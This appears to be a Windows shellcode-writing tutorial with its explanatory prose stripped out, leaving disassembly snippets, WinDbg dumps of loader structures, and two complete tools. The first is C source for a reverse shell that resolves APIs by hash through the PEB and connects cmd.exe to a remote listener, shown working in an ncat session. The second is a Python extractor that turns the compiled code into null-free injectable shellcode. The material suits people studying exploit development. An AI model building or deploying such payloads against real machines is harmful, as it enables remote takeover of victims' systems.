char *v = new char[100]; 

00191000 6A 64                push        64h 00191002 FF 15 90 20 19 00    call        dword ptr ds:[192090h] 

int x;   int main() {   x = 12; } 

008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov         dword ptr ds:[8E9130h],0Ch 

char str[] = "I'm a string";  printf(str); 

00A71006 8D 45 F0             lea         eax,[str] 00A71009 56                   push        esi 00A7100A 57                   push        edi 00A7100B BE 00 21 A7 00       mov         esi,0A72100h 00A71010 8D 7D F0             lea         edi,[str] 00A71013 50                   push        eax 00A71014 A5                   movs        dword ptr es:[edi],dword ptr [esi] 00A71015 A5                   movs        dword ptr es:[edi],dword ptr [esi] 00A71016 A5                   movs        dword ptr es:[edi],dword ptr [esi] 00A71017 A4                   movs        byte ptr es:[edi],byte ptr [esi] 00A71018 FF 15 90 20 A7 00    call        dword ptr ds:[0A72090h] 

char *str = "I'm a string"; printf(str); 

00A31000 68 00 21 A3 00       push        0A32100h 00A31005 FF 15 90 20 A3 00    call        dword ptr ds:[0A32090h] 

char str[] = { 'I', '/'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '/0' }; printf(str); 

012E1006 8D 45 F0             lea         eax,[str] 012E1009 C7 45 F0 49 27 6D 20 mov         dword ptr [str],206D2749h 012E1010 50                   push        eax 012E1011 C7 45 F4 61 20 73 74 mov         dword ptr [ebp-0Ch],74732061h 012E1018 C7 45 F8 72 69 6E 67 mov         dword ptr [ebp-8],676E6972h 012E101F C6 45 FC 00          mov         byte ptr [ebp-4],0 012E1023 FF 15 90 20 2E 01    call        dword ptr ds:[12E2090h] 

char str[] = { 'I', '/'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '/0' }; printf(str); 

013E1006 66 0F 6F 05 00 21 3E 01 movdqa      xmm0,xmmword ptr ds:[13E2100h] 013E100E 8D 45 E8             lea         eax,[str] 013E1011 50                   push        eax 013E1012 F3 0F 7F 45 E8       movdqu      xmmword ptr [str],xmm0 013E1017 C7 45 F8 73 74 72 69 mov         dword ptr [ebp-8],69727473h 013E101E 66 C7 45 FC 6E 67    mov         word ptr [ebp-4],676Eh 013E1024 C6 45 FE 00          mov         byte ptr [ebp-2],0 013E1028 FF 15 90 20 3E 01    call        dword ptr ds:[13E2090h] 

char *str = "I'm a very long string"; 

WaitForSingleObject(procInfo.hProcess, INFINITE); 

 001D100B FF 15 94 20 1D 00    call        dword ptr ds:[1D2094h] 

// Simple reverse shell shellcode by Massimiliano Tomassoli (2015) // NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".   #include <WinSock2.h>               // must preceed #include <windows.h> #include <WS2tcpip.h> #include <windows.h> #include <winnt.h> #include <winternl.h> #include <stddef.h> #include <stdio.h>   #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))   _inline PEB *getPEB() {     PEB *p;     __asm {         mov     eax, fs:[30h]         mov     p, eax     }     return p; }   DWORD getHash(const char *str) {     DWORD h = 0;     while (*str) {         h = (h >> 13) | (h << (32 - 13));       // ROR h, 13         h += *str >= 'a' ? *str - 32 : *str;    // convert the character to uppercase         str++;     }     return h; }   DWORD getFunctionHash(const char *moduleName, const char *functionName) {     return getHash(moduleName) + getHash(functionName); }   LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {     int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);     return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); }   // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to //       ntdll.RtlExitUserThread. The solution is to follow the forwards manually. PVOID getProcAddrByHash(DWORD hash) {     PEB *peb = getPEB();     LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;     LIST_ENTRY *ptr = first;     do {                            // for each module         LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);         ptr = ptr->Flink;           BYTE *baseAddress = (BYTE *)dte->DllBase;         if (!baseAddress)           // invalid module(???)             continue;         IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;         IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);         DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;         if (!iedRVA)                // Export Directory not present             continue;         IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);         char *moduleName = (char *)(baseAddress + ied->Name);         DWORD moduleHash = getHash(moduleName);           // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th         // element of both arrays refer to the same function. The first array specifies the name whereas         // the second the ordinal. This ordinal can then be used as an index in the array pointed to by         // AddressOfFunctions to find the entry point of the function.         DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);         for (DWORD i = 0; i < ied->NumberOfNames; ++i) {             char *functionName = (char *)(baseAddress + nameRVAs[i]);             if (hash == moduleHash + getHash(functionName)) {                 WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];                 DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];                 return baseAddress + functionRVA;             }         }     } while (ptr != first);       return NULL;            // address not found }   #define HASH_LoadLibraryA           0xf8b7108d #define HASH_WSAStartup             0x2ddcd540 #define HASH_WSACleanup             0x0b9d13bc #define HASH_WSASocketA             0x9fd4f16f #define HASH_WSAConnect             0xa50da182 #define HASH_CreateProcessA         0x231cbe70 #define HASH_inet_ntoa              0x1b73fed1 #define HASH_inet_addr              0x011bfae2 #define HASH_getaddrinfo            0xdc2953c9 #define HASH_getnameinfo            0x5c1c856e #define HASH_ExitThread             0x4b3153e0 #define HASH_WaitForSingleObject    0xca8e9498   #define DefineFuncPtr(name)     decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)   int entryPoint() { //  printf("0x%08x/n", getFunctionHash("kernel32.dll", "WaitForSingleObject")); //  return 0;       // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but     //       they're not strictly needed.       DefineFuncPtr(LoadLibraryA);       My_LoadLibraryA("ws2_32.dll");       DefineFuncPtr(WSAStartup);     DefineFuncPtr(WSASocketA);     DefineFuncPtr(WSAConnect);     DefineFuncPtr(CreateProcessA);     DefineFuncPtr(inet_ntoa);     DefineFuncPtr(inet_addr);     DefineFuncPtr(getaddrinfo);     DefineFuncPtr(getnameinfo);     DefineFuncPtr(ExitThread);     DefineFuncPtr(WaitForSingleObject);       const char *hostName = "127.0.0.1";     const int hostPort = 123;       WSADATA wsaData;       if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))         goto __end;         // error     SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);     if (sock == INVALID_SOCKET)         goto __end;       addrinfo *result;     if (My_getaddrinfo(hostName, NULL, NULL, &result))         goto __end;     char ip_addr[16];     My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);       SOCKADDR_IN remoteAddr;     remoteAddr.sin_family = AF_INET;     remoteAddr.sin_port = htons(hostPort);     remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);       if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))         goto __end;       STARTUPINFOA sInfo;     PROCESS_INFORMATION procInfo;     SecureZeroMemory(&sInfo, sizeof(sInfo));        // avoids a call to _memset     sInfo.cb = sizeof(sInfo);     sInfo.dwFlags = STARTF_USESTDHANDLES;     sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;     My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);       // Waits for the process to finish.     My_WaitForSingleObject(procInfo.hProcess, INFINITE);   __end:     My_ExitThread(0);       return 0; }   int main() {     return entryPoint(); } 

* Inline Function Expansion: Only __inline (/Ob1) 

* Enable Intrinsic Functions: Yes (/Oi) 

* Favor Size Or Speed: Favor small code (/Os)  * Whole Program Optimization: Yes (/GL) 

* Enable Function-Level linking: Yes (/Gy) 

* Map File Name: mapfile 

* Enable COMDAT Folding: Yes (/OPT:ICF)  * Function Order: function_order.txt 

DWORD hash = getFunctionHash("user32.dll", "MessageBoxA"); 

DWORD getHash(const char *str) {     DWORD h = 0;     while (*str) {         h = (h >> 13) | (h << (32 - 13));       // ROR h, 13         h += *str >= 'a' ? *str - 32 : *str;    // convert the character to uppercase         str++;     }     return h; } 

PEB *peb = getPEB();  where  _inline PEB *getPEB() {     PEB *p;     __asm {         mov     eax, fs:[30h]         mov     p, eax     }     return p; } 

0:000> dt _TEB @$teb ntdll!_TEB +0x000 NtTib            : _NT_TIB +0x01c EnvironmentPointer : (null) +0x020 ClientId         : _CLIENT_ID +0x028 ActiveRpcHandle  : (null) +0x02c ThreadLocalStoragePointer : 0x7efdd02c Void +0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB +0x034 LastErrorValue   : 0 +0x038 CountOfOwnedCriticalSections : 0 +0x03c CsrClientThread  : (null) <snip> 

PVOID getProcAddrByHash(DWORD hash) {     PEB *peb = getPEB();     LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;     LIST_ENTRY *ptr = first;     do {                            // for each module         LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);         ptr = ptr->Flink;         .         .         .     } while (ptr != first);       return NULL;            // address not found } 

0:000> dt _PEB @$peb ntdll!_PEB    +0x000 InheritedAddressSpace : 0 ''    +0x001 ReadImageFileExecOptions : 0 ''    +0x002 BeingDebugged    : 0x1 ''    +0x003 BitField         : 0x8 ''    +0x003 ImageUsesLargePages : 0y0    +0x003 IsProtectedProcess : 0y0    +0x003 IsLegacyProcess  : 0y0    +0x003 IsImageDynamicallyRelocated : 0y1    +0x003 SkipPatchingUser32Forwarders : 0y0    +0x003 SpareBits        : 0y000    +0x004 Mutant           : 0xffffffff Void    +0x008 ImageBaseAddress : 0x00060000 Void    +0x00c Ldr              : 0x76fd0200 _PEB_LDR_DATA    +0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS    +0x014 SubSystemData    : (null)    +0x018 ProcessHeap      : 0x00680000 Void    <snip> 

0:000> dt _PEB_LDR_DATA 0x76fd0200 ntdll!_PEB_LDR_DATA    +0x000 Length           : 0x30    +0x004 Initialized      : 0x1 ''    +0x008 SsHandle         : (null)    +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]    +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]    +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]    +0x024 EntryInProgress  : (null)    +0x028 ShutdownInProgress : 0 ''    +0x02c ShutdownThreadId : (null) 

0:000> dt _LIST_ENTRY ntdll!_LIST_ENTRY +0x000 Flink            : Ptr32 _LIST_ENTRY +0x004 Blink            : Ptr32 _LIST_ENTRY 

0:000> dt _LDR_DATA_TABLE_ENTRY ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase          : Ptr32 Void +0x01c EntryPoint       : Ptr32 Void +0x020 SizeOfImage      : Uint4B +0x024 FullDllName      : _UNICODE_STRING +0x02c BaseDllName      : _UNICODE_STRING +0x034 Flags            : Uint4B +0x038 LoadCount        : Uint2B +0x03a TlsIndex         : Uint2B +0x03c HashLinks        : _LIST_ENTRY +0x03c SectionPointer   : Ptr32 Void +0x040 CheckSum         : Uint4B +0x044 TimeDateStamp    : Uint4B +0x044 LoadedImports    : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT +0x04c PatchInformation : Ptr32 Void +0x050 ForwarderLinks   : _LIST_ENTRY +0x058 ServiceTagLinks  : _LIST_ENTRY +0x060 StaticLinks      : _LIST_ENTRY +0x068 ContextInformation : Ptr32 Void +0x06c OriginalBase     : Uint4B +0x070 LoadTime         : _LARGE_INTEGER 

+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ] 

0:000> dt _LDR_DATA_TABLE_ENTRY 683078 ntdll!_LDR_DATA_TABLE_ENTRY    +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]    +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]    +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]    +0x018 DllBase          : (null)    +0x01c EntryPoint       : (null)    +0x020 SizeOfImage      : 0x60000    +0x024 FullDllName      : _UNICODE_STRING "蒮ｍ쿟ﾹ엘ﾬ膪ｎ???"    +0x02c BaseDllName      : _UNICODE_STRING "C:/Windows/SysWOW64/calc.exe"    +0x034 Flags            : 0x120010    +0x038 LoadCount        : 0x2034    +0x03a TlsIndex         : 0x68    +0x03c HashLinks        : _LIST_ENTRY [ 0x4000 - 0xffff ]    +0x03c SectionPointer   : 0x00004000 Void    +0x040 CheckSum         : 0xffff    +0x044 TimeDateStamp    : 0x6841b4    +0x044 LoadedImports    : 0x006841b4 Void    +0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT    +0x04c PatchInformation : 0x4ce7979d Void    +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]    +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]    +0x060 StaticLinks      : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]    +0x068 ContextInformation : 0x00686418 Void    +0x06c OriginalBase     : 0x6851a8    +0x070 LoadTime         : _LARGE_INTEGER 0x76f0c9d0 

BYTE *baseAddress = (BYTE *)dte->DllBase;     if (!baseAddress)           // invalid module(???)         continue;     IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;     IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);     DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;     if (!iedRVA)                // Export Directory not present         continue;     IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);     char *moduleName = (char *)(baseAddress + ied->Name);     DWORD moduleHash = getHash(moduleName);       // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th     // element of both arrays refer to the same function. The first array specifies the name whereas     // the second the ordinal. This ordinal can then be used as an index in the array pointed to by     // AddressOfFunctions to find the entry point of the function.     DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);     for (DWORD i = 0; i < ied->NumberOfNames; ++i) {         char *functionName = (char *)(baseAddress + nameRVAs[i]);         if (hash == moduleHash + getHash(functionName)) {             WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];             DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];             return baseAddress + functionRVA;         }     }     .     .     . 

typedef struct _IMAGE_EXPORT_DIRECTORY {     DWORD   Characteristics;     DWORD   TimeDateStamp;     WORD    MajorVersion;     WORD    MinorVersion;     DWORD   Name;     DWORD   Base;     DWORD   NumberOfFunctions;     DWORD   NumberOfNames;     DWORD   AddressOfFunctions;     // RVA from base of image     DWORD   AddressOfNames;         // RVA from base of image     DWORD   AddressOfNameOrdinals;  // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 

#define HASH_WSAStartup           0x2ddcd540   #define DefineFuncPtr(name)       decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)   DefineFuncPtr(WSAStartup); 

DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup"); 

DefineFuncPtr(WSAStartup); 

decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup) 

DefineFuncPtr(LoadLibraryA);   My_LoadLibraryA("ws2_32.dll"); 

ncat -lvp 123 

Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation.  All rights reserved.  C:/Users/Kiuhnm>ncat -lvp 123 Ncat: Version 6.47 ( http://nmap.org/ncat ) Ncat: Listening on :::123 Ncat: Listening on 0.0.0.0:123 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:4409. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation.  All rights reserved.  C:/Users/Kiuhnm/documents/visual studio 2013/Projects/shellcode/shellcode> 

Function Order: function_order.txt 

# Shellcode extractor by Massimiliano Tomassoli (2015)   import sys import os import datetime import pefile   author = 'Massimiliano Tomassoli' year = datetime.date.today().year     def dword_to_bytes(value):     return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]     def bytes_to_dword(bytes):     return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | /            ((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)     def get_cstring(data, offset):     '''     Extracts a C string (i.e. null-terminated string) from data starting from offset.     '''     pos = data.find('/0', offset)     if pos == -1:         return None     return data[offset:pos+1]     def get_shellcode_len(map_file):     '''     Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)     '''     try:         with open(map_file, 'r') as f:             lib_object = None             shellcode_len = None             for line in f:                 parts = line.split()                 if lib_object is not None:                     if parts[-1] == lib_object:                         raise Exception('_main is not the last function of %s' % lib_object)                     else:                         break                 elif (len(parts) > 2 and parts[1] == '_main'):                     # Format:                     # 0001:00000274  _main   00401274 f   shellcode.obj                     shellcode_len = int(parts[0].split(':')[1], 16)                     lib_object = parts[-1]               if shellcode_len is None:                 raise Exception('Cannot determine shellcode length')     except IOError:         print('[!] get_shellcode_len: Cannot open "%s"' % map_file)         return None     except Exception as e:         print('[!] get_shellcode_len: %s' % e.message)         return None       return shellcode_len     def get_shellcode_and_relocs(exe_file, shellcode_len):     '''     Extracts the shellcode from the .text section of the file exe_file and the string     relocations.     Returns the triple (shellcode, relocs, addr_to_strings).     '''     try:         # Extracts the shellcode.         pe = pefile.PE(exe_file)         shellcode = None         rdata = None         for s in pe.sections:             if s.Name == '.text/0/0/0':                 if s.SizeOfRawData < shellcode_len:                     raise Exception('.text section too small')                 shellcode_start = s.VirtualAddress                 shellcode_end = shellcode_start + shellcode_len                 shellcode = pe.get_data(s.VirtualAddress, shellcode_len)             elif s.Name == '.rdata/0/0':                 rdata_start = s.VirtualAddress                 rdata_end = rdata_start + s.Misc_VirtualSize                 rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)           if shellcode is None:             raise Exception('.text section not found')         if rdata is None:             raise Exception('.rdata section not found')           # Extracts the relocations for the shellcode and the referenced strings in .rdata.         relocs = []         addr_to_strings = {}         for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:             for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)                 if shellcode_start <= entry.rva < shellcode_end:                     # The relocation location is inside the shellcode.                     relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode                     string_va = pe.get_dword_at_rva(entry.rva)                     string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase                     if string_rva < rdata_start or string_rva >= rdata_end:                         raise Exception('shellcode references a section other than .rdata')                     str = get_cstring(rdata, string_rva - rdata_start)                     if str is None:                         raise Exception('Cannot extract string from .rdata')                     addr_to_strings[string_va] = str           return (shellcode, relocs, addr_to_strings)       except WindowsError:         print('[!] get_shellcode: Cannot open "%s"' % exe_file)         return None     except Exception as e:         print('[!] get_shellcode: %s' % e.message)         return None     def dword_to_string(dword):     return ''.join([chr(x) for x in dword_to_bytes(dword)])     def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):     if len(relocs) == 0:         return shellcode                # there are no relocations       # The format of the new shellcode is:     #       call    here     #   here:     #       ...     #   shellcode_start:     #       <shellcode>         (contains offsets to strX (offset are from "here" label))     #   relocs:     #       off1|off2|...       (offsets to relocations (offset are from "here" label))     #       str1|str2|...       delta = 21                                      # shellcode_start - here       # Builds the first part (up to and not including the shellcode).     x = dword_to_bytes(delta + len(shellcode))     y = dword_to_bytes(len(relocs))     code = [         0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here                                                     # here:         0x5E,                                       #   POP ESI         0x8B, 0xFE,                                 #   MOV EDI, ESI         0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here         0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)         0xFC,                                       #   CLD                                                     # again:         0xAD,                                       #   LODSD         0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI         0xE2, 0xFA                                  #   LOOP again                                                     # shellcode_start:     ]       # Builds the final part (offX and strX).     offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label     final_part = [dword_to_string(r + delta) for r in relocs]     addr_to_offset = {}     for addr in addr_to_strings.keys():         str = addr_to_strings[addr]         final_part.append(str)         addr_to_offset[addr] = offset         offset += len(str)       # Fixes the shellcode so that the pointers referenced by relocs point to the     # string in the final part.     byte_shellcode = [ord(c) for c in shellcode]     for off in relocs:         addr = bytes_to_dword(byte_shellcode[off:off+4])         byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])       return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)     def dump_shellcode(shellcode):     '''     Prints shellcode in C format ('/x12/x23...')     '''     shellcode_len = len(shellcode)     sc_array = []     bytes_per_row = 16     for i in range(shellcode_len):         pos = i % bytes_per_row         str = ''         if pos == 0:             str += '"'         str += '//x%02x' % ord(shellcode[i])         if i == shellcode_len - 1:             str += '";/n'         elif pos == bytes_per_row - 1:             str += '"/n'         sc_array.append(str)     shellcode_str = ''.join(sc_array)     print(shellcode_str)     def get_xor_values(value):     '''     Finds x and y such that:     1) x xor y == value     2) x and y doesn't contain null bytes     Returns x and y as arrays of bytes starting from the lowest significant byte.     '''       # Finds a non-null missing bytes.     bytes = dword_to_bytes(value)     missing_byte = [b for b in range(1, 256) if b not in bytes][0]       xor1 = [b ^ missing_byte for b in bytes]     xor2 = [missing_byte] * 4     return (xor1, xor2)     def get_fixed_shellcode_single_block(shellcode):     '''     Returns a version of shellcode without null bytes or None if the     shellcode can't be fixed.     If this function fails, use get_fixed_shellcode().     '''       # Finds one non-null byte not present, if any.     bytes = set([ord(c) for c in shellcode])     missing_bytes = [b for b in range(1, 256) if b not in bytes]     if len(missing_bytes) == 0:         return None                             # shellcode can't be fixed     missing_byte = missing_bytes[0]       (xor1, xor2) = get_xor_values(len(shellcode))       code = [         0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4                                                             # here:         0xC0,                                               #   (FF)C0 = INC EAX         0x5F,                                               #   POP EDI         0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>         0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>         0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here         0x33, 0xF6,                                         #   XOR ESI, ESI         0xFC,                                               #   CLD                                                             # loop1:         0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]         0x3C, missing_byte,                                 #   CMP AL, <missing byte>         0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI         0xAA,                                               #   STOSB         0xE2, 0xF6                                          #   LOOP loop1                                                             # shellcode_begin:     ]       return ''.join([chr(x) for x in code]) + shellcode.replace('/0', chr(missing_byte))     def get_fixed_shellcode(shellcode):     '''     Returns a version of shellcode without null bytes. This version divides     the shellcode into multiple blocks and should be used only if     get_fixed_shellcode_single_block() doesn't work with this shellcode.     '''       # The format of bytes_blocks is     #   [missing_byte1, number_of_blocks1,     #    missing_byte2, number_of_blocks2, ...]     # where missing_byteX is the value used to overwrite the null bytes in the     # shellcode, while number_of_blocksX is the number of 254-byte blocks where     # to use the corresponding missing_byteX.     bytes_blocks = []     shellcode_len = len(shellcode)     i = 0     while i < shellcode_len:         num_blocks = 0         missing_bytes = list(range(1, 256))           # Tries to find as many 254-byte contiguous blocks as possible which misses at         # least one non-null value. Note that a single 254-byte block always misses at         # least one non-null value.         while True:             if i >= shellcode_len or num_blocks == 255:                 bytes_blocks += [missing_bytes[0], num_blocks]                 break             bytes = set([ord(c) for c in shellcode[i:i+254]])             new_missing_bytes = [b for b in missing_bytes if b not in bytes]             if len(new_missing_bytes) != 0:         # new block added                 missing_bytes = new_missing_bytes                 num_blocks += 1                 i += 254             else:                 bytes += [missing_bytes[0], num_blocks]                 break       if len(bytes_blocks) > 0x7f - 5:         # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".         return None       (xor1, xor2) = get_xor_values(len(shellcode))       code = ([         0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes                                                             # bytes:         bytes_blocks + [                                    #   ...                                                             # skip_bytes:         0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4                                                             # here:         0xC0,                                               #   (FF)C0 = INC EAX         0x5F,                                               #   POP EDI         0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>         0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>         0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,        #   LEA EBX, [EDI + (bytes - here)]         0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here                                                             # loop1:         0xB0, 0xFE,                                         #   MOV AL, 0FEh         0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]         0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX         0x33, 0xF6,                                         #   XOR ESI, ESI         0xFC,                                               #   CLD                                                             # loop2:         0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]         0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]         0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI         0xAA,                                               #   STOSB         0x49,                                               #   DEC ECX         0x74, 0x07,                                         #   JE shellcode_begin         0x4A,                                               #   DEC EDX         0x75, 0xF2,                                         #   JNE loop2         0x43,                                               #   INC EBX         0x43,                                               #   INC EBX         0xEB, 0xE3                                          #   JMP loop1                                                             # shellcode_begin:     ])       new_shellcode_pieces = []     pos = 0     for i in range(len(bytes_blocks) / 2):         missing_char = chr(bytes_blocks[i*2])         num_bytes = 254 * bytes_blocks[i*2 + 1]         new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('/0', missing_char))         pos += num_bytes       return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)     def main():     print("Shellcode Extractor by %s (%d)/n" % (author, year))       if len(sys.argv) != 3:         print('Usage:/n' +               '  %s <exe file> <map file>/n' % os.path.basename(sys.argv[0]))         return       exe_file = sys.argv[1]     map_file = sys.argv[2]       print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))     shellcode_len = get_shellcode_len(map_file)     if shellcode_len is None:         return     print('shellcode length: %d' % shellcode_len)       print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))     result = get_shellcode_and_relocs(exe_file, shellcode_len)     if result is None:         return     (shellcode, relocs, addr_to_strings) = result       if len(relocs) != 0:         print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))         print('Strings:')         for s in addr_to_strings.values():             print('  ' + s[:-1])         print('')         shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)     else:         print('No relocations found')       if shellcode.find('/0') == -1:         print('Unbelievable: the shellcode does not need to be fixed!')         fixed_shellcode = shellcode     else:         # shellcode contains null bytes and needs to be fixed.         print('Fixing the shellcode...')         fixed_shellcode = get_fixed_shellcode_single_block(shellcode)         if fixed_shellcode is None:             # if shellcode wasn't fixed...             fixed_shellcode = get_fixed_shellcode(shellcode)             if fixed_shellcode is None:                 print('[!] Cannot fix the shellcode')       print('final shellcode length: %d/n' % len(fixed_shellcode))     print('char shellcode[] = ')     dump_shellcode(fixed_shellcode)     main() 

* Map File Name: mapfile 

shellcode   Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)   Preferred load address is 00400000   Start         Length     Name                   Class  0001:00000000 00000a9cH .text$mn                CODE  0002:00000000 00000094H .idata$5                DATA  0002:00000094 00000004H .CRT$XCA                DATA  0002:00000098 00000004H .CRT$XCAA               DATA  0002:0000009c 00000004H .CRT$XCZ                DATA  0002:000000a0 00000004H .CRT$XIA                DATA  0002:000000a4 00000004H .CRT$XIAA               DATA  0002:000000a8 00000004H .CRT$XIC                DATA  0002:000000ac 00000004H .CRT$XIY                DATA  0002:000000b0 00000004H .CRT$XIZ                DATA  0002:000000c0 000000a8H .rdata                  DATA  0002:00000168 00000084H .rdata$debug            DATA  0002:000001f0 00000004H .rdata$sxdata           DATA  0002:000001f4 00000004H .rtc$IAA                DATA  0002:000001f8 00000004H .rtc$IZZ                DATA  0002:000001fc 00000004H .rtc$TAA                DATA  0002:00000200 00000004H .rtc$TZZ                DATA  0002:00000208 0000005cH .xdata$x                DATA  